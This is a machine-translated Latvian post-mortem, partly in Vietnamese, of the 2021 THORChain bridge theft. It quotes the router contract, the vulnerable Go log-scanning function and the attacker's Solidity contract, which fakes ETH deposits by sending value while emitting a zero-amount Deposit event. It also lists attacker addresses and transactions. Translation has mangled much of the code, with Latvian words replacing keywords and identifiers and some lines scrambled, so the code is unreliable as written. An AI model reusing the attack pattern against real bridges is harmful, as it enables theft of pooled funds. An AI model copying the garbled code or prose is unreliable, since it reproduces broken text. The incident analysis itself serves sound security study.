Adreses, kas saistītas ar šo uzbrukumu:

  • THORChain Exploiter 2: 0x3a196410a0f5facd08fd7880a4b8551cd085c031

  • THORChain izmantotāja līgums: 0x4a33862042d004d3fc45e284e1aafa05b48e3c9c

  • THORChain maršrutētājs (upuris): 0xC145990E84155416144C532E31f89B840Ca8c2cE

Sākumā es gribēju atsaukties uz rakstu vietnē https://rekt.news/thorchain-rekt/, taču es sapratu, ka viņi atsaucas uz nepareiziem pierādījumiem, un raksts bija diezgan īss, tāpēc nolēmu to noskaidrot pats.

Torčeina tilta arhitektūra

Kriptovalūtu Visumā ir daudz ķēžu, uz katras ķēdes ir neskaitāmi dažādu veidu monētas.Kopš laika sākuma cilvēki ir sapņojuši par vieglu monētu pārvietošanu no vienas ķēdes uz otru.

Ir bijuši daudzi tilti, kuru uzdevums ir savienot ķēdes, piemēram, Anyswap, Binance Bridge .. lielākā daļa šo tiltu ir veidoti saskaņā ar slēdzenes likviditātes arhitektūru abos galos, pārbaudītājiem būs uzdevums klausīties notikumus vai apstrādāt darījumu bloķēšanu. avota ķēdē un atbloķē galamērķa ķēdē. Tie darbojas gandrīz tūlītējā bloķēšanas un atbloķēšanas veidā, bez citiem atvasinātiem darījumiem Validatorā.

Kas ir īpašs Torčaina tilta arhitektūrā?

image.png

Kā norāda nosaukums Thorchain, šis tilts patiesībā ir ķēde, kas veidota no Cosmos-sdk. Cosmos-sdk ir tik slavens Kriptovalūtu Visumā, jo tā priekšrocība ir viegli definējamas ķēdes, monētas ķēdē un monētu darījumu loģika, un milzis Binance uzticēja tai izveidot biržu. Un tieši Cosmos-sdk lika pamatus IBC (Inter Blockchain Communication) ideoloģijai, ko var uzskatīt par pirmo starpķēdi.

To saprotot, Tors izvēlējās Cosmos-sdk kā galveno materiālu savam tiltam.

Programmā Thorchain mezgli var brīvi piedalīties ķēdē, ievietojot noteiktu depozīta summu, kas tiks atgriezta, mezglam aizejot. Mezgli būs atbildīgi par bloku noklausīšanos no ārējām ķēdēm (šobrīd ietver Ethereum, Binance Smart Chain, Bitcoin, BitcoinCash, DogeCoin, LiteCoin), pēc tam tos apstrādās, saglabājot no blokiem iegūto informāciju Thorchain. (Bifrost slānis), tas ir vienkārši lai redzētu, ka Thorchain mezgli vienosies savā starpā, izmantojot pašu Cosmos-sdk IBC.

Programmā Thorchain vietējā monēta ir RUNE, ko izmanto, lai aprēķinātu mijmaiņas darījumu maksas, kā arī gāzi.

Tātad, kā lietotāji piedalīsies Thorchain?

Piemēram, ja Ethereum lietotājs vēlas iemaksāt naudu Thorchain, viņš caur Thorchain saskarni izsauks funkciju depozīts() viedajā līgumā THORChain_Router, ko Thor ir izvietojis.

// Noguldiet aktīvu ar piezīmi. ETH tiek pārsūtīts, ERC-20 paliek ROUTER funkcijā depozīts (adreses maksājama glabātuve, adreses līdzeklis, uint summa, virknes atmiņas piezīme) publiskais maksājums nonReentrant{ uint safeAmount; if(asset == adrese(0)){ safeAmount = msg.value; (panākumi,) = vault.call{value:safeAmount}(""); pieprasīt (veiksmi); } else if(asset == RŪNA) { drošāSumma = summa; iRUNE(RUNE).transferTo(adrese(this), summa); iERC20(RUNE).apdegums(summa); } else { drošāSumma = drošsTransferFrom(aktīvs, summa); // Pārnest īpašumu vaultAllowance[vault][asset] += safeAmount; // Kredīts uz izvēlēto glabātuvi } emit Depozīts(vault, asset, safeAmount, memo); }

Šeit ir parametri:

  • glabātuve: ir maka adrese adrešu sarakstā, kas ļauj lietotājiem iemaksāt naudu. Saskaņā ar Thorchain dokumentāciju, ar 100 mezgliem noguldījumiem tiks izmantotas aptuveni 3 glabātuves, savukārt lietotāju izņemšanai paredzētajā Vault būs 100 glabātuves, kas nozīmē, ka katram mezglam būs savs Vault izņemšana.

  • aktīvs: monētas adrese, ja monēta ir ETH, tad šī vērtība ir adrese (0).

  • summa: summa

  • piezīme: būs formā SWAP:ETH.ETH:RECEIVER_ADDRESS vai SWAP:ETH.DAI-DAI_ADDRESS:RECEIVER_ADDRESS,... Šī piezīme ir paredzēta, lai parādītu, ka lietotāja mērķis ir apmainīt, kura monēta uz kuru monētu un saņēmēja adrese ir Kura adrese kurā ķēdē?

Thorchain mezgli nepārtraukti klausīsies blokus Ethereum un apstrādās tajos darījumus. Mezgls noteiks darījuma veidu, pamatojoties uz depozīta() darījuma mēmu, tas var būt pievienot Likviditāti vai mijmaiņas darījumu (var apmainīties ar ķēdi vai crosschain), tāpēc Thorchain ir izveidojis 2 veidu lietotājus:

  • Likviditātes nodrošinātājs: šis lietotājs nodrošinās pūlam likviditāti un saņems maksas no mijmaiņas darījumiem, informācija par šiem pūliem tiek saglabāta Thorchain

  • Regulāri lietotāji: veiciet mijmaiņas darījumu un zaudē maksu, viņi izsauc depozīta funkciju ar atbilstošo piezīmi viedajā līgumā, mezgli apstrādās un apstiprinās darījumu un saglabās informāciju Thorchain, pēc tam izsauc funkciju transferOut() lai nosūtītu izvades marķieri uz adresāta adresi attiecīgajā ķēdē.

TransferOut funkcija:

// Jebkuri glabātuves izsaukumi, lai pārsūtītu jebkuru īpašumu jebkuram adresātam. function transferOut(adrese maksājama, adreses līdzeklis, uint summa, virknes atmiņas piezīme) public payable nonReentrant { uint safeAmount; bool panākumi; if(asset == adrese(0)){ safeAmount = msg.value; (veiksmi,) = to.call{value:msg.value}(""); // Sūtīt ETH } else { vaultAllowance[msg.sender][asset] -= summa; // Samazināt piemaksu (veiksmi,) = asset.call(abi.encodeWithSignature("transfer(address,uint256)" , to, summa)); safeAmount = summa; } prasīt (veiksmi); emit TransferOut(īsziņas sūtītājs, kam, līdzeklis, drošā summa, piezīme); }

Kur ir bedre?

Atbilde ir tāda, ka tas atrodas mezgla Bifrost slānī, precīzāk, mezgla Ethereum Block Scanner modulī.

Labi, tagad mēs izsekosim Thorchain saistības gitlab viņu thornode repo.

Viņiem ir iestatīta apņemšanās kā Atrisināt “[BUG] Fix ETH chain attack” ar jaucējkodu eab0715650919a1f1ba525011423e71b53ffb27b, tāpēc mēs koncentrēsimies uz šo saistību izpildi, jo īpaši failam bifrost/pkg/chainclients/lockotherethere.

Mēs redzam, ka viņi ir veikuši dažas svarīgas izmaiņas funkcijā getTxInFromSmartContract() — ap 854. rindu līdz https://gitlab.com/thorchain/thornode/-/commit/eab0715650919a1f1ba525011423e71b53ffb237f6f6f43ffb237f6 12c1c 2048cb_854_854, ievainojamība, visticamāk, atrodas šajā.

Apskatīsim šīs funkcijas kodu, pirms tiek apvienots risinājums “[BUG] Fix ETH chain attack”.

// getTxInFromSmartContract atgriež txInItem func (e ETHScanner) getTxInFromSmartContract(tx etypes.Transaction, kvīts etypes.Receipt) (stypes.TxInItem, error) { e.logger.Debug().Msg(tx"In contract)t = &stypes.TxInItem{ Tx: tx.Hash().Hex()[2:], } sūtītājs, err := e.eipSigner.Sender(tx) if err != nil { return nil, fmt.Errorf("fail lai iegūtu sūtītāju: %w", err) } txInItem.Sender = strings.ToLower(sender.String()) // 1 ir transakcijas veiksmes stāvoklis, ja saņemšanas.Statuss != 1 { e.logger.Info().Msgf( "tx(%s) status: %d nozīmē neizdevās , ignorēt", tx.Hash().String(), kvīts.Statuss) return nulle, nulle } for , item := diapazona kvīts. Žurnāli { switch item.Topics[ 0].String() { case depositEvent: depositEvt, err := e.parseDeposit(*item) if err != nil { return nil, fmt.Errorf("neizdevās parsēt depozīta notikumu: %w", err) } e .logger.Info().Msgf("depozīts:%+v", depozītsEvt) txInItem.To = depozīts String()) if err != nil { return nil, fmt.Errorf("neizdevās iegūt īpašumu no marķiera adreses: %w", err) } if asset.IsEmpty() { return nil, nil } decimāldaļas := e. getTokenDecimalsForTHORChain(depositEvt.Asset.String()) e.logger.Info().Msgf("token:%s,decimals:%d", depositEvt.Asset, decimals) txInItem.Coins = append(txInItem.Coins, common. NewCoin(asset, e.convertAmount(depositEvt.Asset.String(), depositEvt.Amount)).WithDecimals(decimals)) case transferOutEvent: transferOutEvt, err := e.parseTransferOut(*item) if err { return != lnil , fmt.Errorf("neizdevās parsēt pārsūtīšanas notikumu: %w", err) } e.logger.Info().Msgf("pārsūtīt: %+v", transferOutEvt) txInItem.Sender = transferOutEvt.Vault.String () txInItem.To = transferOutEvt.To.String() txInItem.Memo = transferOutEvt.Memo līdzeklis, err := e.getAssetFromTokenAddress(transferOutEvt.Asset.String()) if err != nil {fm return. "neizdevās iegūt īpašumu no pilnvaras adreses: %w", kļūda) } if asset.IsEmpty() { return nil, nil } decimals := e.getTokenDecimalsForTHORChain(transferOutEvt.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(aktīvs, e.convertAmount(transferOutEvt.Asset.String(), transferOutEvt.Amount)).ArDecimals(decimālskaitļi)) case transfer,tAllowanceEvent:tAllowanceEv err := e.parseTransferAllowanceEvent(*item) if err != nil { return nil, fmt.Errorf("neizdevās parsēt pārsūtīšanas atļaujas notikumu: %w", err) } e.logger.Info().Msgf("transfer pabalsts: %+v", transferAllowanceEvt) txInItem.Sender = transferAllowanceEvt.OldVault.String() txInItem.To = transferAllowanceEvt.NewVault.String() txInItem.Memo = transferAllowanceEvt.Memo īpašums, FromfergetAllowAsset(FromfertAllowAsset) .String()) if err != nil { return nil, fmt.Errorf("neizdevās iegūt īpašumu no pilnvaras adreses: %w", err) } if asset.IsEmpty() { return nil, nil } decimāldaļas := e " case vaultTransferEvent: transferEvent, err := e.parseVaultTransfer(*item) if err != nil { return nil, fmt.Errorf("neizdevās parsēt glabātuves pārsūtīšanas notikumu: %w", err) } e.logger.Info() .Msgf("vault transfer: %+v", transferEvent) txInItem.Sender = transferEvent.OldVault.String() txInItem.To = transferEvent.NewVault.String() txInItem.Memo = transferEvent.Memo for , item := range transferEvent .Coins { asset, err := e.getAssetFromTokenAddress(item.Asset.String()) if err != nil { return nil, fmt.Errorf("neizdevās iegūt līdzekli no pilnvaras adreses: %w", err) } if asset.IsEmpty() { atgriešanās nulle, nulle } decimāldaļas := e.getTokenDecimalsForTHORChain(item.Asset.String()) txInItem.Coins = append(txInItem.Coins, common.NewCoin(item, e.convertAsset. String(), item.Amount)).WithDecimals(decimals)) } } } // ir svarīgi paturēt šo daļu ārpus iepriekš minētās cilpas, piemēram, veicot maršrutētāja jaunināšanu , kas var ģenerēt vairākus depozīta notikumus, kā arī tx, kas ir eth vērtība ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() &&.Isthalue () { txInItem.Coins = append(txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } } e.logger.Info().Msgf("tx: %s, gāzes cena: %s, izmantotā gāze : %d, kvīts statuss:%d", txInItem.Tx, tx.GasPrice().String(), kvīts.GasLietots, kvīts.Statuss) // ETH gāzes cena nekādā gadījumā nebūs mazāka par 1 Gwei , ja vien tā nav ir izstrādātāja vidē txGasPrice := tx.GasPrice() if txGasPrice.Cmp(big.NewInt(tenGwei)) < 0 { txGasPrice = big.NewInt(tenGwei) } txInItem.Gas = common.MakeETHGassed,txGassed. if txInItem.Coins.IsEmpty() { e.logger.Debug().Msgf("šajā tx nav monētas, ignorēt, %+v", txInItem) atgriež nulli, nulle } e.logger.Debug(). Msgf("tx vienumā: %+v", txInItem) return txInItem, nulle}

Šī funkcija ir atbildīga par to, lai pārbaudītu, vai txn ir veiksmīgs vai nē. Ja tā, tā apstrādās notikumus, kas izstaro no šī txn, lai uzzinātu, kuru monētu lietotājs vēlas nomainīt uz kuru (var būt tā pati ķēde vai atšķirīga). ) šīs funkcijas izvadi saglabās mezgls un pārraidīs uz Thorchain, pēc tam mezgli nosūtīs monētas uz saņēmēja adresi, lai apsvērtu mijmaiņas pabeigšanu.

Piezīme depozīta notikuma gadījumam: šis ir gadījums, lai apstrādātu, ja notikuma mezgls ir THORChain_Router līguma notikums Depozīts (adrese indeksēta, adrese indeksētais īpašums, uint summa, virknes piezīme). Tas noteiks ievades monētu, daudzumu, piezīmi, pēc tam, pamatojoties uz piezīmi, lai noteiktu izvades monētu, lietotāja vēlamo saņemšanas adresi.

Izejot no for cilpas, tam ir rokturis, kas paredzēts vietējās monētas ETH noguldīšanai:

// ir svarīgi paturēt šo daļu ārpus iepriekš minētās cilpas, piemēram, veicot maršrutētāja jaunināšanu, kas var ģenerēt vairākus depozīta notikumus, kā arī tx, kurā ir eth vērtība ethValue := cosmos.NewUintFromBigInt(tx.Value()) if !ethValue.IsZero() { ethValue = e.convertAmount(ethToken, tx.Value()) if txInItem.Coins.GetCoin(common.ETHAsset).IsEmpty() && !ethValue.IsZero() { txinsInItem. (txInItem.Coins, common.NewCoin(common.ETHAsset, ethValue)) } }

Šī ir kļūda, lai gan virs monētas un daudzuma informācija tika iegūta, analizējot notikumu Depozīts, šeit mēs turpinām analizēt tx.Value(), kas radīja iespēju ignorēt iepriekš iegūto informāciju.

Hakeri to pamanīja un izveidoja viedo līgumu, lai uzbruktu, loģika ir ļoti vienkārša, THORChain_Router — šādi:

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.3; interfeiss IRouter { function depozīts( adrese maksājama glabātuve, adreses līdzeklis, uint256 summa, virknes atmiņas piezīme ) ārējais maksājums; } contract Attack { function attack( address router, address payable vault, string memory memo ) external payable { IRouter(router).deposit{value: 0}(vault, address(0), 0, memo); maksājams(ziņas.sūtītājs).transfer(īsziņas vērtība); } }

Piemēram, hakeris izsauks uzbrukuma funkciju ar noteiktu derīgu Thorchain glabātuvi, piezīme varētu būt "SWAP:ETH.ETH" un msg.value ir 100 ETH, pēc izsaukšanas 100 ETH joprojām ir viņa, bet uzbrukuma iekšpusē to sauca par depozītu ( ) no THORChain_Router.

Apvienojot šo viedo līgumu ar iepriekš minēto mezgla funkciju getTxInFromSmartContract(), hakeris viegli piemānīja mezglu, domājot, ka vēlas apmainīt 100 ETH pret noteiktu monētu, lai gan viņš neiemaksāja nekādu ETH.

Šeit ir Hacker txn vēsture pakalpojumā Etherescan https://etherscan.io/txsInternal?a=0x3a196410a0f5facd08fd7880a4b8551cd085c031&p=1

Ņemiet, piemēram, šo txn https://etherscan.io/tx/0x32933c28281489256949842b9f4c9f85a6e557553dce2aee35f2f52110cfc0c9 (bloks 1283325). Hakeris uzbruka ar 100ETH, kā arī glabātuvi 0xf56cba49337a624e94042e325ad6bc864436e370, piezīmi "SWAP:ETH.ETH".

image.pngChúng ta dễ dàng xem được event được emit ra từ THORChain_Router:image.png

Lai gan noguldījuma notikuma summa ir 0, tx.Value() ir 100 265 ETH. Tāpēc mezgls domāja, ka kāds vēlas samainīt 100 ETH pret 100 ETH =))).

Thế là xong, hacker chỉ cần ngồi đợi 100ETH về ví mình, giao dịch mà node transferOut() 100 ETH cho hacker là đây https://etherscan.io/tx/0x2fcc2757de57d1e954d0e0a5188bcb348d02ee596d1f55be7fa44e94fd27b6c6image.png

Hakeri to atkārtoja daudzas reizes, lai nozagtu ETH un citus ERC20 žetonus baseinā, kuru aptuvenā vērtība ir aptuveni 5 miljoni USD.

Pašlaik Thor ir izlabojis savu Thorchain, taču mijmaiņas darbība tiek apturēta, lai pārbaudītu citas iespējamās ievainojamības.

kopsavilkums

Defi vienmēr ir auglīga zeme jaunizveidotiem uzņēmumiem, kā arī hakeriem, jo ​​vairāk modeļu dzimst, jo vairāk var parādīties ievainojamības, radot zaudējumus līdz pat miljoniem dolāru. Bet visam, pirms tiek sasniegta pilnība, ir jāpiedzīvo daudz sāpju, un to pārvarēšana nozīmē, ka tehnoloģija kļūst arvien labāka.

Raksts ir no 2021. gada, bet mācības joprojām ir spēkā, paldies @trinhvantan par vērtīgu rakstu ievietošanu kopienai